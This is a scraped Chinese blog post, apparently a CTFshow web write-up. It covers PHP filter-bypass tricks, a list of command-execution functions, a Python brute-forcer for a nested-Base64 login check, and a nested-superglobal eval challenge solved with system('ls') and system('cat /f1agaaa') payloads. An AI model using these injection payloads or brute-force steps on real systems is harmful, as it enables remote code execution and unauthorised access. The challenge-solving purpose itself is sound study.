CTFshow-web方向(更新中)

news/2025/10/11 14:30:22/文章来源:https://www.cnblogs.com/jiucaihua/p/19134965

萌新杯

intval与preg_match绕过方法:

进制绕过二进制或者八进制或者十六进制等等

双重取反~~绕过

有时候需要编码需要绕过的字符$a=~("system"); echo urlencode($a);

换行\n绕过

编码绕过

SQL查询中,如果我们将Base64编码的字符串直接拼接到SQL语句中,并且使用单引号包围,那么如果Base64编码的字符串中包含单引号,就会破坏SQL语句的结构,导致SQL注入或者语法错误。

常见的命令执行函数

system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec()

过滤;

使用?>绕过

使用if绕过

WEB应用与安全防护

Base64编码隐藏

查看网页源码,找到登录脚本,发现有个base64编码的正确密码,结合下方的登陆成功逻辑,确定解码后的密码就是flag。

image-20251011104659029

解码

image-20251011104801614

Base64多层嵌套解码

查看源码,与编码隐藏相同,注意到这里有五层编码,解码即可

const correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU="; function validatePassword(input) {let encoded = btoa(input);encoded = btoa(encoded + 'xH7jK').slice(3);encoded = btoa(encoded.split('').reverse().join(''));encoded = btoa('aB3' + encoded + 'qW9').substr(2);return btoa(encoded) === correctPassword;}

先解码一次

IzUFQxM1UzRmtSRk0wU2xSU05qRXdUVVk9cVc5得到的就是第四步encoded = btoa('aB3' + encoded + 'qW9').substr(2);处理之后的编码

第四步将ab3+encoded+qw9 进行编码,然后在第三个字符串开始截取

我们先解码一次就能得到IzUFQxM1UzRmtSRk0wU2xSU05qRXdUVVk9cVc5

同时注意到ab3编码YUIzqw9编码cVc5

去除添加的字符串,处理之后应该是UFQxM1UzRmtSRk0wU2xSU05qRXdUVVk9,这就是第三步处理之后的编码

然后解码一次得到PT13U3FkRFM0SlRSNjEwTUY=

encoded.split('').reverse().join('')这个方法是反转编码

用脚本先解码一次,再反转编码

import base64def recover_original(encoded_b64):# 1️⃣ 先 Base64 解码decoded = base64.b64decode(encoded_b64).decode('utf-8')# 2️⃣ 再反转字符串original = decoded[::-1]return originalif __name__ == "__main__":encoded_after = "==wSqdDS4JTR610MF"original_string = recover_original(encoded_after)print("原字符串是:", original_string)

得到第二步处理后的代码FM016RTJ4SDdqSw==

这一步去除了前面三个字符,需要补充上三个字符进行解码,然后去除xH7jK然后得到了第一步处理后的编码,将第一步处理后的编码再次解码就是密码

这里需要利用python进行穷举出所有的结果

import base64
import itertools
import string# 待处理字符串
after_slice = "FM016RTJ4SDdqSw=="# Base64 字符集
B64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"# 输出文件
OUT_FILE = "candidates.txt"def safe_b64decode(b64_str: str):"""安全 Base64 解码,失败返回 None"""try:# 补齐 = 保证长度是 4 的倍数pad = (-len(b64_str)) % 4if pad:b64_str += "=" * padreturn base64.b64decode(b64_str)except Exception:return Nonedef is_valid_utf8(b: bytes):try:b.decode("utf-8")return Trueexcept UnicodeDecodeError:return Falsedef main():total = 0found = 0with open(OUT_FILE, "w", encoding="utf-8") as fout:for prefix_tuple in itertools.product(B64_CHARS, repeat=3):prefix3 = ''.join(prefix_tuple)total += 1full_b64 = prefix3 + after_slice# 第一次解码decoded = safe_b64decode(full_b64)if decoded is None:continue# 去掉尾部 xH7jKif len(decoded) < 5:continuefirst_layer = decoded[:-5]# 第二次解码(去掉尾部 xH7jK 后的 bytes 直接当作 Base64)second_layer_str = first_layer.decode("latin1")  # 按 latin1 避免 decode 错误second_layer_decoded = safe_b64decode(second_layer_str)if second_layer_decoded is None:continue# 检查 UTF-8 合法性if not is_valid_utf8(second_layer_decoded):continuefinal_text = second_layer_decoded.decode("utf-8")fout.write(final_text + "\n")found += 1if total % 50000 == 0:print(f"[progress] tried {total} prefixes, found {found} candidates")print(f"Done. tried {total} prefixes, found {found} candidates. Results in '{OUT_FILE}'")if __name__ == "__main__":main()

得到一个密码字典,利用python进行爆破,找到登录请求,然后抓包。

image-20251011141816153

post请求,路径是check.php

设置payload,导入字典,然后传入主体参数。

image-20251011142032999

这里遇到问题了,需要更改请求头

image-20251011123215320

image-20251011142014412

发现返回长度是2532的都能获取到flag,可能是密码中只要包含7316都能正常登录

image-20251011125523938

用hacker验证一下

image-20251011125618771

菜狗杯

web签到

CTF-show菜狗杯web签到

访问页面

image-20251010172110600

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

利用eval进行执行命令

首先传入cookieCTFshow-QQ群=a

Cookie: CTFshow-QQ%E7%BE%A4:=a

中文用url编码

然后eval变为

eval($_REQUEST[$_GET[$_POST['a']]][6][0][7][5][8][0][9][4][4]);

post传入参数 a=b;

然后eval变为

eval($_REQUEST[$_GET['b']][6][0][7][5][8][0][9][4][4]);

get传入参数 b=c

然后eval变为

eval($_REQUEST['c'][6][0][7][5][8][0][9][4][4]);

对于request请求,可以使用任意方式进行传参,写进主体中,传参为

c[6][0][7][5][8][0][9][4][4]=system('ls')

image-20251010182044305

利用命令查看根目录

image-20251010182926953

发现flagaaa,构造payloada=b&c[6][0][7][5][8][0][9][4][4]=system('cat /f1agaaa');

image-20251010183205968

web2 c0me_t0_s1gn

image-20251010184048162

需要用上帝的眼睛看~,查看源码

image-20251010184126298

给了flag前半部分的形式,剩下的需要用控制台,打开控制台

image-20251010184159344

运行脚本

image-20251010184243708

我的眼里只有$

image-20251011102308646

extract() 方法可用于将数组展开,键名作为变量名,元素值为变量值

``${...}(或多个 $)表示“多层变量变量(variable variables)解引用”。如果从 $ 出发到目标变量需要经过 **N** 次“指向”关系($ -> a -> b -> ... -> target),那么需要 **N 层 $**(即 ${${...${$}...}},或写成 N 个 $紧跟$)来把最终的变量值取出来,eval(...) 就会把那个最终取到的字符串当作 PHP 代码执行。

image-20251011102744589

因为这里有36个$,最后一个变量执行命令,让_=a;a=b一直重复下去35次,最后一个写入执行的命令

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/934791.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

拷贝和上传文件,涉及隐私协议

如果使用拷贝和复制粘贴功能,以及使用从微信上传文件的功能,需要在weixin后台完善隐私协议。wx.setClipboardData({duration: 2000,title: 成功,data: name,icon: success,}); 拷贝 错误提示: setClipboardData:fai…

2025储罐厂家,钢衬塑储罐,钢塑复合储罐,化工储罐,防腐储罐,PE储罐,盐酸储罐,硫酸储罐,聚丙烯储罐,不锈钢储罐,次氯酸钠储罐各类型最新推荐榜:品质卓越与技术创新的行业先锋!

随着工业技术的不断进步,储罐作为化工、石油、食品等众多行业不可或缺的关键设备,其品质和性能直接影响着企业的生产效率和安全。为了帮助筛选储罐品牌,特此发布权威推荐榜单,为采购决策提供专业参考价值。一、储罐…

2025 年国内标志牌生产厂家最新推荐排行榜:聚焦优质企业助力客户精准选择道路/限速/公路/施工/警示/限高/三角/安全标志牌厂家推荐

在当前道路安全设施行业快速发展的背景下,标志牌作为保障道路通行安全与效率的关键设施,其市场需求持续增长。然而,市面上标志牌生产厂家数量繁杂,产品质量、生产能力、服务水平差异显著,部分厂家存在材质不达标、…

在Scala中,如何在泛型类中使用类型参数?

在Scala中,泛型类的类型参数使用方括号 [] 声明,语法和使用方式与Java类似但更灵活。以下是Scala泛型类中使用类型参数的详细示例: // 1. 基本泛型类定义 class Box[T](val content: T) {// 可以直接使用类型参数T作…

Maple 2025 来了!AI 赋能 + 6000 + 命令,破解数学计算、科研与教学痛点

做科研时,复杂的逆拉普拉斯变换算到崩溃?教数学时,手动批改作业效率低还难出同类题?写代码时,数学模型转 Python/C 要反复调试?别愁了 —— 数学软件领域的革新之作Maple 2025已上线,从核心引擎到用户体验全面升…

2025 护眼灯生产厂家最新推荐榜:精选五强资深与新锐品牌,深度解析品质口碑与选购指南

国人日均用眼时长已突破 8 小时,护眼灯市场需求年均增长 18.7%,但行业乱象愈发凸显:国家市场监督管理总局抽查显示 23% 样品存在蓝光超标、频闪等问题,虚假宣传更是屡见不鲜。传统品牌与新锐势力并存的市场中,消费…

2025 年护眼吸顶灯最新推荐榜:权威筛选五强品牌,技术与口碑双维度深度剖析

随着居家用眼场景日益多元,护眼吸顶灯成为家庭照明刚需,但市场乱象却持续困扰消费者。部分品牌以 “护眼” 为噱头,实际产品蓝光危害超标、频闪严重,既不符合 RG0 无危害标准,也未达到 Ra90 以上显色指数要求,长…

2025 护眼台灯厂家最新推荐榜单:权威解析明可达等五强品牌,护眼参数与选购指南全攻略

随着电子设备深度融入生活,国人日均用眼时长已突破 8 小时,护眼台灯市场需求年均增长 18.7%,但行业乱象随之凸显。国家市场监督管理总局抽查显示,23% 的样品存在蓝光超标、频闪等问题,虚假宣传更是屡见不鲜。传统…

超高密度2kW GaN基低压电机驱动器的设计 - 实践

超高密度2kW GaN基低压电机驱动器的设计 - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", &…

在AI技术唾手可得的时代,挖掘新需求成为核心竞争力——某知名AI代理框架需求洞察

本文通过分析某知名AI代理框架的官方文档和用户反馈,深入探讨了该框架的核心功能、应用场景以及用户在使用过程中提出的改进需求,揭示了在AI技术快速发展的背景下,理解用户真实需求的重要性。a.内容描述核心功能定位…

02:基础数据类型

> 本篇用 sizeof 实测整型、浮点、字符、字符串在内存中的真实尺寸,理解符号位、补码、溢出、类型转换以及可移植性整型的正确打开方式。一、整型家族全景图关键字 典型字节 位数 取值范围(有符号) 格式符char 1…

UPage 正式开源!

UPage 是一款基于大模型的可视化网页构建平台,支持通过自然语言描述快速生成定制化网页。该平台兼容多种 AI 提供商,包括 OpenAI、Anthropic Claude、Google Gemini 和 DeepSeek 等,并提供了简洁的可视化编辑器,支…

2025 年无线耳机源头厂家最新推荐榜单:覆盖头戴式 / 电竞 / 平价 / 电脑 / 游戏多品类且聚焦全产业链与精益制造的权威名录

随着无线耳机市场需求持续攀升,产品品类日益丰富,但消费者选购时却面临诸多难题。部分厂家无自主生产能力,依赖外部供应链致质量不稳定、交付无保障;不少品牌研发投入不足,产品同质化严重,在专业 HiFi、游戏低延…

2025 年最新蓝牙耳机源头厂家口碑推荐榜:含琉璃 X 热销 64 万台企业及各类型高性价比品牌优选运动/真无线/头戴式/骨传导/游戏蓝牙耳机厂家推荐

随着蓝牙技术的飞速发展,蓝牙耳机已成为人们日常通勤、运动健身、办公学习的必备设备,然而当前市场却呈现出 “乱花渐欲迷人眼” 的态势。一方面,大量新兴品牌涌入,产品质量参差不齐,部分产品存在音质失真、连接不…

接口测试全流程实战:从工具到架构的深度解析

本文将全面解析接口测试的全流程,从基础工具使用到高级架构设计,帮助测试工程师构建完整的接口测试知识体系。在微服务架构主导的时代,接口测试作为软件测试的关键环节,其重要性不言而喻。据统计,现代应用中超过7…

Node.js 负载均衡:构建高可用服务

在当今高并发的互联网环境中,单台服务器往往难以应对大量用户请求。负载均衡技术通过将请求分发到多个服务器。 什么是负载均衡? 负载均衡是一种将网络流量或应用请求智能地分发到多个服务器的技术。它通过避免单点故…

C# Send and receive big file via stream

//sender; class FileSender {private readonly HttpClient _httpClient;public FileSender(){_httpClient = new HttpClient{Timeout = TimeSpan.FromHours(2) // 2小时超时};}public async Task<bool> SendFil…

深入解析:Ubuntu 22.04 安装 Nacos 记录

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

2、python get请求

1、使用requests模块发起网络请求 导入模块 import requests #导入之后才可以进行使用#定义一个字符串,保存请求网址 url =https://www.baidu.com/ 发起get请求, def geturl,params=None, **kwargs) requests.get(ur…

Java 将 PDF 转换为 HTML:高效解决实用的方案与实践

Java 将 PDF 转换为 HTML:高效解决实用的方案与实践2025-10-11 14:05 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; dis…